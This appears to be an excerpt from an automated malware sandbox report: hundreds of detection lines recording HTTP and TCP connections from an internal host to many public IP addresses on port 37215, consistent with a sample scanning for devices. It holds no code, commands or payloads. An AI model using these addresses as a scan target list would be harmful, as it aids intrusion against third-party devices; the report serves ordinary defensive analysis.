Source: unknown	Network traffic detected: HTTP traffic on port 44128 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44024 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46072 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51746 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54538 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59954 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59832 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53116 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40620 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60810 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46272 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35600 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36092 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56994 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48970 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55424 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56002 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42386 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54396 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36186 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56904 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48352 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48250 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44108 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52852 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59888 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36056 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55608 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34778 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43138 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34278 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60768 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40504 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40918 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39002 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46504 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46908 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57938 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54434 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50658 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52028 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53406 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51458 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44940 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48390 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43854 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56020 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57286 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43308 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45186 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47566 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41970 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44174 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44898 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55864 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59172 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52422 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55272 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56520 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46690 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54682 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56774 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59688 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52962 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47634 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35612 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52490 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52602 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37644 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49076 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32836 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33516 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46794 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40470 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60996 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56894 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39082 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46766 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57904 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47322 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33540 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50956 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52112 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38772 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34704 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37466 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60218 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58328 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35546 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33852 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44018 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47080 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59738 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51426 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35294 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33354 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60972 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44086 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44702 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60844 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50642 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43338 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51874 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33182 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52902 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46934 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34278 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44852 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43450 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50336 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57852 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50408 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58754 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43290 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60714 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36526 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38752 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41394 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44982 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50736 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43240 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37040 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46968 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42604 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46518 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34058 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43184 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60380 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58742 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36806 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47434 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42376 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49328 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53688 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46452 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42728 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44266 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54650 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38696 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56562 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56126 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36146 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47602 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50696 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43586 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49324 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47610 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59544 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59274 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40686 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42818 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33314 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53092 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34590 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45196 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42564 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33102 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54862 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54002 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54706 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46006 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57560 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56216 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53436 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35080 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43238 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60172 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51460 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58292 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57948 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53274 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44542 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60484 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56130 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34520 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32864 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54368 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59018 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34322 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46772 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35170 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51818 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57308 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33992 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53930 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58196 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48468 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43552 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59194 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60370 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56172 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52358 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46178 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34698 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51954 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56404 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41156 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58302 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45302 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35794 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53240 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34534 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42008 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42874 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58170 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53456 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57944 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58648 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47142 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57624 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59112 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39644 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47622 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38166 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33372 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52172 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33820 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58678 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50868 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38186 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53348 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54428 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59556 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46452 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58274 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33824 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53862 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48668 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38444 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55890 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57658 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45822 -> 37215

Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.155.46.107:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.231.96.172:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.173.157.107:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.109.214.106:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.72.52.25:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.145.178.19:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.5.107.224:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.111.122.37:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.71.154.10:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.35.252.236:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.250.33.135:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.129.210.81:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.228.103.104:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.9.127.241:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.56.235.104:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.188.43.225:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.121.255.27:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.11.73.44:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.172.19.204:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.232.33.186:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.172.90.31:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.239.219.20:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.22.45.98:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.247.198.102:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.248.129.218:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.157.111.21:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.63.187.195:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.17.202.88:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.128.214.73:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.128.43.42:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.62.113.250:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.200.180.158:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.46.238.26:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.115.157.219:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.119.224.112:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.25.43.101:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.140.64.203:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.14.85.71:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.118.252.101:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.12.155.54:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.245.78.138:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.135.9.86:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.212.8.178:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.207.33.74:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.200.187.215:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.23.180.165:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.45.215.172:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.207.103.249:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.140.140.125:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.33.176.2:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.111.77.116:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.89.138.120:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.46.147.9:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.139.69.113:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.217.195.200:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.61.225.102:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.192.187.51:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.79.45.69:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.242.27.27:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.121.158.76:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.72.202.209:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.232.125.189:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.99.140.119:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.206.15.171:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.109.70.183:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.12.109.78:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.169.203.155:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.73.250.159:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.144.30.68:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.103.160.129:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.12.126.38:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.248.134.237:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.211.74.4:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.221.172.184:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.208.252.249:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.48.145.127:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.169.66.64:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.125.13.222:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.34.108.106:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.139.237.89:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.122.161.244:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.234.53.109:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.194.254.209:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.29.20.56:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.193.220.164:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.189.66.255:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.2.239.89:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.139.119.56:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.120.28.7:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.56.140.205:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.3.144.223:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.138.149.130:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.84.90.186:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.156.71.59:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.103.10.205:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.178.140.1:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.17.127.137:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.211.68.59:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.187.159.127:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.47.179.169:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.210.236.89:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.253.88.231:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.144.41.55:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.254.196.35:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.212.1.86:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.175.210.225:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.253.47.168:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.102.44.89:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.100.140.31:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.198.199.206:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.137.221.135:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.243.171.135:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.100.74.36:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.135.180.211:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.177.2.108:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.141.5.93:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.144.220.66:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.185.32.61:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.91.48.192:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.191.126.17:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.240.139.111:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.178.246.216:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.124.246.113:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.6.16.33:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.2.17.5:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.165.174.229:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.132.43.143:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.80.122.123:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.235.204.237:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.123.13.211:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.1.63.222:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.226.142.225:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.176.227.42:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.181.16.123:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.108.3.233:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.218.209.199:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.48.48.108:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.138.224.31:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.19.174.70:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.223.235.21:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.25.22.71:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.1.179.41:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.183.99.228:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.134.119.132:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.212.156.110:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.7.96.210:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.166.90.59:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.201.69.253:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.61.235.201:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.236.54.101:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.174.86.96:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.73.251.203:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.249.53.108:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.176.40.97:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.43.196.237:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.141.45.12:37215
